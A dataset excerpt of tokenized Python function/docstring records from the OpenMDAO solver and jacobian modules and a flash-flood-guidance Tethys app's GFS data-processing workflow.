"apply_linear",
"method",
"on",
"the",
"system",
"."
] | [
"\"\"\"\n Run the apply_linear method on the system.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _iter_get_norm | <not_specific> | def _iter_get_norm(self):
"""
Return the norm of the residual.
Note: This has the side effect of modifying the residual vector in fwd mode
and the output vector in rev mode.
Returns
-------
float
norm.
"""
system = self._system
... |
Return the norm of the residual.
Note: This has the side effect of modifying the residual vector in fwd mode
and the output vector in rev mode.
Returns
-------
float
norm.
| Return the norm of the residual.
Note: This has the side effect of modifying the residual vector in fwd mode
and the output vector in rev mode.
Returns
float
norm. | [
"Return",
"the",
"norm",
"of",
"the",
"residual",
".",
"Note",
":",
"This",
"has",
"the",
"side",
"effect",
"of",
"modifying",
"the",
"residual",
"vector",
"in",
"fwd",
"mode",
"and",
"the",
"output",
"vector",
"in",
"rev",
"mode",
".",
"Returns",
"float... | def _iter_get_norm(self):
system = self._system
if self._mode == 'fwd':
b_vecs = system._vectors['residual']
else:
b_vecs = system._vectors['output']
norm = 0
for vec_name in system._lin_rel_vec_name_list:
b_vecs[vec_name]._data -= self._rhs_... | [
"def",
"_iter_get_norm",
"(",
"self",
")",
":",
"system",
"=",
"self",
".",
"_system",
"if",
"self",
".",
"_mode",
"==",
"'fwd'",
":",
"b_vecs",
"=",
"system",
".",
"_vectors",
"[",
"'residual'",
"]",
"else",
":",
"b_vecs",
"=",
"system",
".",
"_vector... | Return the norm of the residual. | [
"Return",
"the",
"norm",
"of",
"the",
"residual",
"."
] | [
"\"\"\"\n Return the norm of the residual.\n\n Note: This has the side effect of modifying the residual vector in fwd mode\n and the output vector in rev mode.\n\n Returns\n -------\n float\n norm.\n \"\"\"",
"# rev"
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
9330da61d735b72a4a3d568ecd37d758cfc79f4c | gsoxley/OpenMDAO | openmdao/drivers/scipy_optimizer.py | [
"Apache-2.0"
] | Python | run | <not_specific> | def run(self):
"""
Optimize the problem using selected Scipy optimizer.
Returns
-------
boolean
Failure flag; True if failed to converge, False is successful.
"""
problem = self._problem
opt = self.options['optimizer']
model = problem.... |
Optimize the problem using selected Scipy optimizer.
Returns
-------
boolean
Failure flag; True if failed to converge, False is successful.
| Optimize the problem using selected Scipy optimizer.
Returns
boolean
Failure flag; True if failed to converge, False is successful. | [
"Optimize",
"the",
"problem",
"using",
"selected",
"Scipy",
"optimizer",
".",
"Returns",
"boolean",
"Failure",
"flag",
";",
"True",
"if",
"failed",
"to",
"converge",
"False",
"is",
"successful",
"."
] | def run(self):
problem = self._problem
opt = self.options['optimizer']
model = problem.model
self.iter_count = 0
self._total_jac = None
with RecordingDebugging(self.options['optimizer'], self.iter_count, self) as rec:
model._solve_nonlinear()
self.... | [
"def",
"run",
"(",
"self",
")",
":",
"problem",
"=",
"self",
".",
"_problem",
"opt",
"=",
"self",
".",
"options",
"[",
"'optimizer'",
"]",
"model",
"=",
"problem",
".",
"model",
"self",
".",
"iter_count",
"=",
"0",
"self",
".",
"_total_jac",
"=",
"No... | Optimize the problem using selected Scipy optimizer. | [
"Optimize",
"the",
"problem",
"using",
"selected",
"Scipy",
"optimizer",
"."
] | [
"\"\"\"\n Optimize the problem using selected Scipy optimizer.\n\n Returns\n -------\n boolean\n Failure flag; True if failed to converge, False is successful.\n \"\"\"",
"# Initial Run",
"# maxiter and disp get passsed into scipy with all the other options.",
"# ... | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
9cb31d0022cb94f27ef4e85c0b238c42f59127fc | gsoxley/OpenMDAO | openmdao/jacobians/assembled_jacobian.py | [
"Apache-2.0"
] | Python | _init_ranges | null | def _init_ranges(self, system):
"""
Compute row/col ranges for variables of the owning system.
Parameters
----------
system : System
Parent system to this jacobian.
"""
iproc = system.comm.rank
abs2idx = system._var_allprocs_abs2idx['nonlinear... |
Compute row/col ranges for variables of the owning system.
Parameters
----------
system : System
Parent system to this jacobian.
| Compute row/col ranges for variables of the owning system.
Parameters
system : System
Parent system to this jacobian. | [
"Compute",
"row",
"/",
"col",
"ranges",
"for",
"variables",
"of",
"the",
"owning",
"system",
".",
"Parameters",
"system",
":",
"System",
"Parent",
"system",
"to",
"this",
"jacobian",
"."
] | def _init_ranges(self, system):
iproc = system.comm.rank
abs2idx = system._var_allprocs_abs2idx['nonlinear']
sizes = system._var_sizes['nonlinear']['output']
out_ranges = self._out_ranges = {}
start = end = 0
for name in system._var_allprocs_abs_names['output']:
... | [
"def",
"_init_ranges",
"(",
"self",
",",
"system",
")",
":",
"iproc",
"=",
"system",
".",
"comm",
".",
"rank",
"abs2idx",
"=",
"system",
".",
"_var_allprocs_abs2idx",
"[",
"'nonlinear'",
"]",
"sizes",
"=",
"system",
".",
"_var_sizes",
"[",
"'nonlinear'",
"... | Compute row/col ranges for variables of the owning system. | [
"Compute",
"row",
"/",
"col",
"ranges",
"for",
"variables",
"of",
"the",
"owning",
"system",
"."
] | [
"\"\"\"\n Compute row/col ranges for variables of the owning system.\n\n Parameters\n ----------\n system : System\n Parent system to this jacobian.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "system",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens":... |
9cb31d0022cb94f27ef4e85c0b238c42f59127fc | gsoxley/OpenMDAO | openmdao/jacobians/assembled_jacobian.py | [
"Apache-2.0"
] | Python | _initialize | null | def _initialize(self, system):
"""
Allocate the global matrices.
Parameters
----------
system : System
Parent system to this jacobian.
"""
# var_indices are the *global* indices for variables on this proc
is_top = system.pathname == ''
... |
Allocate the global matrices.
Parameters
----------
system : System
Parent system to this jacobian.
| Allocate the global matrices.
Parameters
system : System
Parent system to this jacobian. | [
"Allocate",
"the",
"global",
"matrices",
".",
"Parameters",
"system",
":",
"System",
"Parent",
"system",
"to",
"this",
"jacobian",
"."
] | def _initialize(self, system):
is_top = system.pathname == ''
abs2meta = system._var_abs2meta
self._int_mtx = int_mtx = self._matrix_class(system.comm)
ext_mtx = self._matrix_class(system.comm)
iproc = system.comm.rank
abs2idx = system._var_allprocs_abs2idx['nonlinear']
... | [
"def",
"_initialize",
"(",
"self",
",",
"system",
")",
":",
"is_top",
"=",
"system",
".",
"pathname",
"==",
"''",
"abs2meta",
"=",
"system",
".",
"_var_abs2meta",
"self",
".",
"_int_mtx",
"=",
"int_mtx",
"=",
"self",
".",
"_matrix_class",
"(",
"system",
... | Allocate the global matrices. | [
"Allocate",
"the",
"global",
"matrices",
"."
] | [
"\"\"\"\n Allocate the global matrices.\n\n Parameters\n ----------\n system : System\n Parent system to this jacobian.\n \"\"\"",
"# var_indices are the *global* indices for variables on this proc",
"# create the matrix subjacs",
"# because self._subjacs_info is ... | [
{
"param": "self",
"type": null
},
{
"param": "system",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens":... |
9cb31d0022cb94f27ef4e85c0b238c42f59127fc | gsoxley/OpenMDAO | openmdao/jacobians/assembled_jacobian.py | [
"Apache-2.0"
] | Python | _init_view | null | def _init_view(self, system):
"""
Determine the _ext_mtx for a sub-view of the assembled jacobian.
Parameters
----------
system : <System>
The system being solved using a sub-view of the jacobian.
"""
abs2meta = system._var_abs2meta
in_ranges ... |
Determine the _ext_mtx for a sub-view of the assembled jacobian.
Parameters
----------
system : <System>
The system being solved using a sub-view of the jacobian.
| Determine the _ext_mtx for a sub-view of the assembled jacobian.
Parameters
system :
The system being solved using a sub-view of the jacobian. | [
"Determine",
"the",
"_ext_mtx",
"for",
"a",
"sub",
"-",
"view",
"of",
"the",
"assembled",
"jacobian",
".",
"Parameters",
"system",
":",
"The",
"system",
"being",
"solved",
"using",
"a",
"sub",
"-",
"view",
"of",
"the",
"jacobian",
"."
] | def _init_view(self, system):
abs2meta = system._var_abs2meta
in_ranges = self._in_ranges
out_ranges = self._out_ranges
input_names = system._var_abs_names['input']
if input_names:
min_in_offset = in_ranges[input_names[0]][0]
max_in_offset = in_ranges[inpu... | [
"def",
"_init_view",
"(",
"self",
",",
"system",
")",
":",
"abs2meta",
"=",
"system",
".",
"_var_abs2meta",
"in_ranges",
"=",
"self",
".",
"_in_ranges",
"out_ranges",
"=",
"self",
".",
"_out_ranges",
"input_names",
"=",
"system",
".",
"_var_abs_names",
"[",
... | Determine the _ext_mtx for a sub-view of the assembled jacobian. | [
"Determine",
"the",
"_ext_mtx",
"for",
"a",
"sub",
"-",
"view",
"of",
"the",
"assembled",
"jacobian",
"."
] | [
"\"\"\"\n Determine the _ext_mtx for a sub-view of the assembled jacobian.\n\n Parameters\n ----------\n system : <System>\n The system being solved using a sub-view of the jacobian.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "system",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens":... |
9cb31d0022cb94f27ef4e85c0b238c42f59127fc | gsoxley/OpenMDAO | openmdao/jacobians/assembled_jacobian.py | [
"Apache-2.0"
] | Python | _update | null | def _update(self, system):
"""
Read the user's sub-Jacobians and set into the global matrix.
Parameters
----------
system : System
System that is updating this jacobian.
"""
int_mtx = self._int_mtx
ext_mtx = self._ext_mtx[system.pathname]
... |
Read the user's sub-Jacobians and set into the global matrix.
Parameters
----------
system : System
System that is updating this jacobian.
| Read the user's sub-Jacobians and set into the global matrix.
Parameters
system : System
System that is updating this jacobian. | [
"Read",
"the",
"user",
"'",
"s",
"sub",
"-",
"Jacobians",
"and",
"set",
"into",
"the",
"global",
"matrix",
".",
"Parameters",
"system",
":",
"System",
"System",
"that",
"is",
"updating",
"this",
"jacobian",
"."
] | def _update(self, system):
int_mtx = self._int_mtx
ext_mtx = self._ext_mtx[system.pathname]
subjacs = system._subjacs_info
iters, iters_in_ext = self._get_subjac_iters(system)
int_mtx._pre_update()
if ext_mtx is not None:
ext_mtx._pre_update()
if self.... | [
"def",
"_update",
"(",
"self",
",",
"system",
")",
":",
"int_mtx",
"=",
"self",
".",
"_int_mtx",
"ext_mtx",
"=",
"self",
".",
"_ext_mtx",
"[",
"system",
".",
"pathname",
"]",
"subjacs",
"=",
"system",
".",
"_subjacs_info",
"iters",
",",
"iters_in_ext",
"... | Read the user's sub-Jacobians and set into the global matrix. | [
"Read",
"the",
"user",
"'",
"s",
"sub",
"-",
"Jacobians",
"and",
"set",
"into",
"the",
"global",
"matrix",
"."
] | [
"\"\"\"\n Read the user's sub-Jacobians and set into the global matrix.\n\n Parameters\n ----------\n system : System\n System that is updating this jacobian.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "system",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens":... |
fc3786a1b663c5c5849b0e8262407747aca9c355 | rileyhales/ffgs | tethysapp/ffgs/options.py | [
"BSD-3-Clause"
] | Python | app_settings | <not_specific> | def app_settings():
"""
Gets the settings for the app for use in other functions and ajax for leaflet
Dependencies: os, App (app)
"""
return {
'app_wksp_path': os.path.join(App.get_app_workspace().path, ''),
'threddsdatadir': App.get_custom_setting("thredds_path"),
'threddsur... |
Gets the settings for the app for use in other functions and ajax for leaflet
Dependencies: os, App (app)
| Gets the settings for the app for use in other functions and ajax for leaflet
Dependencies: os, App (app) | [
"Gets",
"the",
"settings",
"for",
"the",
"app",
"for",
"use",
"in",
"other",
"functions",
"and",
"ajax",
"for",
"leaflet",
"Dependencies",
":",
"os",
"App",
"(",
"app",
")"
] | def app_settings():
return {
'app_wksp_path': os.path.join(App.get_app_workspace().path, ''),
'threddsdatadir': App.get_custom_setting("thredds_path"),
'threddsurl': App.get_custom_setting("thredds_url"),
'logfile': os.path.join(App.get_app_workspace().path, 'workflow.log')
} | [
"def",
"app_settings",
"(",
")",
":",
"return",
"{",
"'app_wksp_path'",
":",
"os",
".",
"path",
".",
"join",
"(",
"App",
".",
"get_app_workspace",
"(",
")",
".",
"path",
",",
"''",
")",
",",
"'threddsdatadir'",
":",
"App",
".",
"get_custom_setting",
"(",... | Gets the settings for the app for use in other functions and ajax for leaflet
Dependencies: os, App (app) | [
"Gets",
"the",
"settings",
"for",
"the",
"app",
"for",
"use",
"in",
"other",
"functions",
"and",
"ajax",
"for",
"leaflet",
"Dependencies",
":",
"os",
"App",
"(",
"app",
")"
] | [
"\"\"\"\n Gets the settings for the app for use in other functions and ajax for leaflet\n Dependencies: os, App (app)\n \"\"\""
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
fc3786a1b663c5c5849b0e8262407747aca9c355 | rileyhales/ffgs | tethysapp/ffgs/options.py | [
"BSD-3-Clause"
] | Python | wms_colors | <not_specific> | def wms_colors():
"""
Color options usable by thredds wms
"""
return [
('Precipitation', 'precipitation'),
('Greyscale', 'greyscale'),
('Rainbow', 'rainbow'),
('OCCAM', 'occam'),
('Red-Blue', 'redblue'),
('ALG', 'alg'),
] |
Color options usable by thredds wms
| Color options usable by thredds wms | [
"Color",
"options",
"usable",
"by",
"thredds",
"wms"
] | def wms_colors():
return [
('Precipitation', 'precipitation'),
('Greyscale', 'greyscale'),
('Rainbow', 'rainbow'),
('OCCAM', 'occam'),
('Red-Blue', 'redblue'),
('ALG', 'alg'),
] | [
"def",
"wms_colors",
"(",
")",
":",
"return",
"[",
"(",
"'Precipitation'",
",",
"'precipitation'",
")",
",",
"(",
"'Greyscale'",
",",
"'greyscale'",
")",
",",
"(",
"'Rainbow'",
",",
"'rainbow'",
")",
",",
"(",
"'OCCAM'",
",",
"'occam'",
")",
",",
"(",
... | Color options usable by thredds wms | [
"Color",
"options",
"usable",
"by",
"thredds",
"wms"
] | [
"\"\"\"\n Color options usable by thredds wms\n \"\"\""
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
fc3786a1b663c5c5849b0e8262407747aca9c355 | rileyhales/ffgs | tethysapp/ffgs/options.py | [
"BSD-3-Clause"
] | Python | ffgs_regions | <not_specific> | def ffgs_regions():
"""
FFGS regions that the app currently supports
"""
return [
('Hispaniola', 'hispaniola'),
('Central America', 'centralamerica')
] |
FFGS regions that the app currently supports
| FFGS regions that the app currently supports | [
"FFGS",
"regions",
"that",
"the",
"app",
"currently",
"supports"
] | def ffgs_regions():
return [
('Hispaniola', 'hispaniola'),
('Central America', 'centralamerica')
] | [
"def",
"ffgs_regions",
"(",
")",
":",
"return",
"[",
"(",
"'Hispaniola'",
",",
"'hispaniola'",
")",
",",
"(",
"'Central America'",
",",
"'centralamerica'",
")",
"]"
] | FFGS regions that the app currently supports | [
"FFGS",
"regions",
"that",
"the",
"app",
"currently",
"supports"
] | [
"\"\"\"\n FFGS regions that the app currently supports\n \"\"\""
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
fc3786a1b663c5c5849b0e8262407747aca9c355 | rileyhales/ffgs | tethysapp/ffgs/options.py | [
"BSD-3-Clause"
] | Python | hispaniola_models | <not_specific> | def hispaniola_models():
"""
Regions that the app currently supports for WRF Puerto Rico
"""
return [
('GFS (6-hr steps, 7 days)', 'gfs'),
('WRF-PR (1-hr steps, 2 days)', 'wrfpr'),
] |
Regions that the app currently supports for WRF Puerto Rico
| Regions that the app currently supports for WRF Puerto Rico | [
"Regions",
"that",
"the",
"app",
"currently",
"supports",
"for",
"WRF",
"Puerto",
"Rico"
] | def hispaniola_models():
return [
('GFS (6-hr steps, 7 days)', 'gfs'),
('WRF-PR (1-hr steps, 2 days)', 'wrfpr'),
] | [
"def",
"hispaniola_models",
"(",
")",
":",
"return",
"[",
"(",
"'GFS (6-hr steps, 7 days)'",
",",
"'gfs'",
")",
",",
"(",
"'WRF-PR (1-hr steps, 2 days)'",
",",
"'wrfpr'",
")",
",",
"]"
] | Regions that the app currently supports for WRF Puerto Rico | [
"Regions",
"that",
"the",
"app",
"currently",
"supports",
"for",
"WRF",
"Puerto",
"Rico"
] | [
"\"\"\"\n Regions that the app currently supports for WRF Puerto Rico\n \"\"\""
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
fc3786a1b663c5c5849b0e8262407747aca9c355 | rileyhales/ffgs | tethysapp/ffgs/options.py | [
"BSD-3-Clause"
] | Python | chart_options | <not_specific> | def chart_options():
"""
Chart options: cumulative or unique intervals
"""
return [
('Cumulative', 'cumulative'),
('Forecast Intervals', 'intervals')
] |
Chart options: cumulative or unique intervals
| Chart options: cumulative or unique intervals | [
"Chart",
"options",
":",
"cumulative",
"or",
"unique",
"intervals"
] | def chart_options():
return [
('Cumulative', 'cumulative'),
('Forecast Intervals', 'intervals')
] | [
"def",
"chart_options",
"(",
")",
":",
"return",
"[",
"(",
"'Cumulative'",
",",
"'cumulative'",
")",
",",
"(",
"'Forecast Intervals'",
",",
"'intervals'",
")",
"]"
] | Chart options: cumulative or unique intervals | [
"Chart",
"options",
":",
"cumulative",
"or",
"unique",
"intervals"
] | [
"\"\"\"\n Chart options: cumulative or unique intervals\n \"\"\""
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
fc3786a1b663c5c5849b0e8262407747aca9c355 | rileyhales/ffgs | tethysapp/ffgs/options.py | [
"BSD-3-Clause"
] | Python | resulttype_options | <not_specific> | def resulttype_options():
"""
Choose to color the regions by the mean, max, or cumulative values
"""
return [
('Cumulative Accumulated Precipitation (mean value each forecast interval)', 'cum_mean'),
('Largest Forecast Interval\'s Mean Precipitation (on any 1 Forecast Interval)', 'mean')... |
Choose to color the regions by the mean, max, or cumulative values
| Choose to color the regions by the mean, max, or cumulative values | [
"Choose",
"to",
"color",
"the",
"regions",
"by",
"the",
"mean",
"max",
"or",
"cumulative",
"values"
] | def resulttype_options():
return [
('Cumulative Accumulated Precipitation (mean value each forecast interval)', 'cum_mean'),
('Largest Forecast Interval\'s Mean Precipitation (on any 1 Forecast Interval)', 'mean'),
] | [
"def",
"resulttype_options",
"(",
")",
":",
"return",
"[",
"(",
"'Cumulative Accumulated Precipitation (mean value each forecast interval)'",
",",
"'cum_mean'",
")",
",",
"(",
"'Largest Forecast Interval\\'s Mean Precipitation (on any 1 Forecast Interval)'",
",",
"'mean'",
")",
"... | Choose to color the regions by the mean, max, or cumulative values | [
"Choose",
"to",
"color",
"the",
"regions",
"by",
"the",
"mean",
"max",
"or",
"cumulative",
"values"
] | [
"\"\"\"\n Choose to color the regions by the mean, max, or cumulative values\n \"\"\""
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
a2de25bf4a6a30520e3f9a1375f6a5a8a178153b | rileyhales/ffgs | data_workflow/gfsworkflow.py | [
"BSD-3-Clause"
] | Python | gfs_tiffs | <not_specific> | def gfs_tiffs(threddspath, wrksppath, timestamp, region, model):
"""
Script to combine 6-hr accumulation grib files into 24-hr accumulation geotiffs.
Dependencies: datetime, os, numpy, rasterio
"""
logging.info('\nStarting to process the ' + model + ' gribs into GeoTIFFs')
# declare the environm... |
Script to combine 6-hr accumulation grib files into 24-hr accumulation geotiffs.
Dependencies: datetime, os, numpy, rasterio
| Script to combine 6-hr accumulation grib files into 24-hr accumulation geotiffs.
Dependencies: datetime, os, numpy, rasterio | [
"Script",
"to",
"combine",
"6",
"-",
"hr",
"accumulation",
"grib",
"files",
"into",
"24",
"-",
"hr",
"accumulation",
"geotiffs",
".",
"Dependencies",
":",
"datetime",
"os",
"numpy",
"rasterio"
] | def gfs_tiffs(threddspath, wrksppath, timestamp, region, model):
logging.info('\nStarting to process the ' + model + ' gribs into GeoTIFFs')
tiffs = os.path.join(wrksppath, region, model + '_GeoTIFFs')
gribs = os.path.join(threddspath, region, model, timestamp, 'gribs')
netcdfs = os.path.join(threddspat... | [
"def",
"gfs_tiffs",
"(",
"threddspath",
",",
"wrksppath",
",",
"timestamp",
",",
"region",
",",
"model",
")",
":",
"logging",
".",
"info",
"(",
"'\\nStarting to process the '",
"+",
"model",
"+",
"' gribs into GeoTIFFs'",
")",
"tiffs",
"=",
"os",
".",
"path",
... | Script to combine 6-hr accumulation grib files into 24-hr accumulation geotiffs. | [
"Script",
"to",
"combine",
"6",
"-",
"hr",
"accumulation",
"grib",
"files",
"into",
"24",
"-",
"hr",
"accumulation",
"geotiffs",
"."
] | [
"\"\"\"\n Script to combine 6-hr accumulation grib files into 24-hr accumulation geotiffs.\n Dependencies: datetime, os, numpy, rasterio\n \"\"\"",
"# declare the environment",
"# if you already have gfs netcdfs in the netcdfs folder, quit the function",
"# otherwise, remove anything in the folder be... | [
{
"param": "threddspath",
"type": null
},
{
"param": "wrksppath",
"type": null
},
{
"param": "timestamp",
"type": null
},
{
"param": "region",
"type": null
},
{
"param": "model",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "threddspath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "wrksppath",
"type": null,
"docstring": null,
"docstrin... |
a2de25bf4a6a30520e3f9a1375f6a5a8a178153b | rileyhales/ffgs | data_workflow/gfsworkflow.py | [
"BSD-3-Clause"
] | Python | resample | <not_specific> | def resample(wrksppath, region, model):
"""
Script to resample rasters from .25 o .0025 degree in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio
"""
logging.info('\nResampling the rasters for ' + region)
# Define app workspace and sub-paths
tiffs = os.path.join(wrk... |
Script to resample rasters from .25 o .0025 degree in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio
| Script to resample rasters from .25 o .0025 degree in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio | [
"Script",
"to",
"resample",
"rasters",
"from",
".",
"25",
"o",
".",
"0025",
"degree",
"in",
"order",
"for",
"rasterstats",
"to",
"work",
"Dependencies",
":",
"datetime",
"os",
"numpy",
"rasterio"
] | def resample(wrksppath, region, model):
logging.info('\nResampling the rasters for ' + region)
tiffs = os.path.join(wrksppath, region, model + '_GeoTIFFs')
resampleds = os.path.join(wrksppath, region, model + '_GeoTIFFs_resampled')
if not os.path.exists(tiffs):
logging.info('There is no tiffs fo... | [
"def",
"resample",
"(",
"wrksppath",
",",
"region",
",",
"model",
")",
":",
"logging",
".",
"info",
"(",
"'\\nResampling the rasters for '",
"+",
"region",
")",
"tiffs",
"=",
"os",
".",
"path",
".",
"join",
"(",
"wrksppath",
",",
"region",
",",
"model",
... | Script to resample rasters from .25 o .0025 degree in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio | [
"Script",
"to",
"resample",
"rasters",
"from",
".",
"25",
"o",
".",
"0025",
"degree",
"in",
"order",
"for",
"rasterstats",
"to",
"work",
"Dependencies",
":",
"datetime",
"os",
"numpy",
"rasterio"
] | [
"\"\"\"\n Script to resample rasters from .25 o .0025 degree in order for rasterstats to work\n Dependencies: datetime, os, numpy, rasterio\n \"\"\"",
"# Define app workspace and sub-paths",
"# Create directory for the resampled GeoTIFFs",
"# List all Resampled GeoTIFFs",
"# Read raster dimensions"... | [
{
"param": "wrksppath",
"type": null
},
{
"param": "region",
"type": null
},
{
"param": "model",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "wrksppath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "region",
"type": null,
"docstring": null,
"docstring_tok... |
a2de25bf4a6a30520e3f9a1375f6a5a8a178153b | rileyhales/ffgs | data_workflow/gfsworkflow.py | [
"BSD-3-Clause"
] | Python | zonal_statistics | <not_specific> | def zonal_statistics(wrksppath, timestamp, region, model):
"""
Script to calculate average precip over FFGS polygon shapefile
Dependencies: datetime, os, pandas, rasterstats
"""
logging.info('\nDoing Zonal Statistics on ' + region)
# Define app workspace and sub-paths
resampleds = os.path.jo... |
Script to calculate average precip over FFGS polygon shapefile
Dependencies: datetime, os, pandas, rasterstats
| Script to calculate average precip over FFGS polygon shapefile
Dependencies: datetime, os, pandas, rasterstats | [
"Script",
"to",
"calculate",
"average",
"precip",
"over",
"FFGS",
"polygon",
"shapefile",
"Dependencies",
":",
"datetime",
"os",
"pandas",
"rasterstats"
] | def zonal_statistics(wrksppath, timestamp, region, model):
logging.info('\nDoing Zonal Statistics on ' + region)
resampleds = os.path.join(wrksppath, region, model + '_GeoTIFFs_resampled')
shp_path = os.path.join(wrksppath, region, 'shapefiles', 'ffgs_' + region + '.shp')
stat_file = os.path.join(wrkspp... | [
"def",
"zonal_statistics",
"(",
"wrksppath",
",",
"timestamp",
",",
"region",
",",
"model",
")",
":",
"logging",
".",
"info",
"(",
"'\\nDoing Zonal Statistics on '",
"+",
"region",
")",
"resampleds",
"=",
"os",
".",
"path",
".",
"join",
"(",
"wrksppath",
","... | Script to calculate average precip over FFGS polygon shapefile
Dependencies: datetime, os, pandas, rasterstats | [
"Script",
"to",
"calculate",
"average",
"precip",
"over",
"FFGS",
"polygon",
"shapefile",
"Dependencies",
":",
"datetime",
"os",
"pandas",
"rasterstats"
] | [
"\"\"\"\n Script to calculate average precip over FFGS polygon shapefile\n Dependencies: datetime, os, pandas, rasterstats\n \"\"\"",
"# Define app workspace and sub-paths",
"# check that there are resampled tiffs to do zonal statistics on",
"# List all Resampled GeoTIFFs",
"# do zonal statistics f... | [
{
"param": "wrksppath",
"type": null
},
{
"param": "timestamp",
"type": null
},
{
"param": "region",
"type": null
},
{
"param": "model",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "wrksppath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "timestamp",
"type": null,
"docstring": null,
"docstring_... |
a2de25bf4a6a30520e3f9a1375f6a5a8a178153b | rileyhales/ffgs | data_workflow/gfsworkflow.py | [
"BSD-3-Clause"
] | Python | nc_georeference | <not_specific> | def nc_georeference(threddspath, timestamp, region, model):
"""
Description: Intended to make a THREDDS data server compatible netcdf file out of an incorrectly structured
netcdf file.
Author: Riley Hales, 2019
Dependencies: netCDF4, os, datetime
see github/rileyhales/datatools for more deta... |
Description: Intended to make a THREDDS data server compatible netcdf file out of an incorrectly structured
netcdf file.
Author: Riley Hales, 2019
Dependencies: netCDF4, os, datetime
see github/rileyhales/datatools for more details
| Intended to make a THREDDS data server compatible netcdf file out of an incorrectly structured
netcdf file.
Author: Riley Hales, 2019
Dependencies: netCDF4, os, datetime
see github/rileyhales/datatools for more details | [
"Intended",
"to",
"make",
"a",
"THREDDS",
"data",
"server",
"compatible",
"netcdf",
"file",
"out",
"of",
"an",
"incorrectly",
"structured",
"netcdf",
"file",
".",
"Author",
":",
"Riley",
"Hales",
"2019",
"Dependencies",
":",
"netCDF4",
"os",
"datetime",
"see",... | def nc_georeference(threddspath, timestamp, region, model):
logging.info('\nProcessing the netCDF files')
netcdfs = os.path.join(threddspath, region, model, timestamp, 'netcdfs')
processed = os.path.join(threddspath, region, model, timestamp, 'processed')
if not os.path.exists(netcdfs):
logging.... | [
"def",
"nc_georeference",
"(",
"threddspath",
",",
"timestamp",
",",
"region",
",",
"model",
")",
":",
"logging",
".",
"info",
"(",
"'\\nProcessing the netCDF files'",
")",
"netcdfs",
"=",
"os",
".",
"path",
".",
"join",
"(",
"threddspath",
",",
"region",
",... | Description: Intended to make a THREDDS data server compatible netcdf file out of an incorrectly structured
netcdf file. | [
"Description",
":",
"Intended",
"to",
"make",
"a",
"THREDDS",
"data",
"server",
"compatible",
"netcdf",
"file",
"out",
"of",
"an",
"incorrectly",
"structured",
"netcdf",
"file",
"."
] | [
"\"\"\"\n Description: Intended to make a THREDDS data server compatible netcdf file out of an incorrectly structured\n netcdf file.\n Author: Riley Hales, 2019\n Dependencies: netCDF4, os, datetime\n see github/rileyhales/datatools for more details\n \"\"\"",
"# setting the environment file... | [
{
"param": "threddspath",
"type": null
},
{
"param": "timestamp",
"type": null
},
{
"param": "region",
"type": null
},
{
"param": "model",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "threddspath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "timestamp",
"type": null,
"docstring": null,
"docstrin... |
a2de25bf4a6a30520e3f9a1375f6a5a8a178153b | rileyhales/ffgs | data_workflow/gfsworkflow.py | [
"BSD-3-Clause"
] | Python | run_gfs_workflow | <not_specific> | def run_gfs_workflow(threddspath):
"""
The controller for running the workflow to download and process data
"""
wrksppath = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'tethysapp', 'ffgs', 'workspaces', 'app_workspace')
# enable logging to track the progress o... |
The controller for running the workflow to download and process data
| The controller for running the workflow to download and process data | [
"The",
"controller",
